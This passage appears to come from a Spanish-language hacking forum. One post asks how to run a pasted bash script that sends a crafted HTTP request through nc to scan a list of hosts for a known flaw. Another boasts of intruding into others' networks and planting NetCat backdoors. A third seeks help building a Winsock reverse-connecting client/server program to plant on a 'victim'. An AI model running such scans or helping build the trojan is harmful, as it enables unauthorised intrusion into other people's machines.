Esta vulnerabilidad trae un exploit adjunto en bash, el que he compilado en mi distro de Ubuntu, la duda es: ¿como ejecuto este exploit? ¿que valores tengo que pasar a los argumentos?
aquí pego el código fuente de dicho exploit:

Citar#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
       echo "$0 <hosts-file>"
       exit
fi

for i in `cat $1`
do

if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection:
close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep
-i '<PROCHECKUP>' > /dev/null
then
       echo "$i is VULNERABLE!"
fi

done

Agredecería eternamente vuestra ayuda,
un saludo a toda la comunidad.

#85
Buenas noches,

aquí me teneis, desvelado, leyendo documentos por doquier, intentando averiguar cosas nuevas que enriquezcan mi inquieta persona jejeje

Pero, ultimamente llevo mucho tiempo estancado, me explico...

Me "inicié" en el mundo de Hacking desde los 13 años ya estaba interesado, tengo 18 y más o menos sé lo básico, programar en C y algo de C++, .bat, VB.NET y entiendo alguna que otra syntaxis de lenguajes de programacion.

Con respecto a otras técnicas, soy capaz de introducirme en red ajena y poder buscar vulnerabilidades para explotarlas, crear backdoors con NetCat, utilizar TFTP, me manejo con el interprete de comandos (CMD).

Teoricamente he revisado documentos, libros sobre arquitectura de redes, estudiado sus protocolos (TCP/IP,UDP,ARP,DNS,DHCP...), he leido libros de programación y de hacking de redes y general (deface, XSS, SQL injection, cracking ensamblado etc)

Siento esta larga explicación, no es por contar mi vida pero espero que se me entienda :p me olvido muchos temas sobre los que tengo "conocimiento" ya que es imposible que domine todo sobre lo que he estudiado.

Mi pregunta es, ¿que me recomendais? ¿que deberia de fisgonear? necesito mas..
#86
Buenas es mi primer post en este foro.

Bueno el problema es que estoy desarrolando una aplicacion Cliente/Servidor con el control Winsock de Microsoft, el cual permite conectar dos maquinas remotamente ya sea en LAN o globalmente.

El problema es que cuando envio el Servidor a la victima y me intento conectar no puedo, ya que no tengo su ip publica de internet. El puerto por el que me conecto es el 80 (http).

He aqui mi pregunta, me habia planteado quedarme yo el SERVIDOR y mandarle a la víctima el CLIENTE para que la víctima se conecte a mí direccion IP automaticamente.

De esta forma su Dirección IP se mandaria al registro del servidor.
Se me olvida decir que utilizo una direccion ip estática, un DNS asignado por NO-IP el famosito programa jejje.

Saludos :)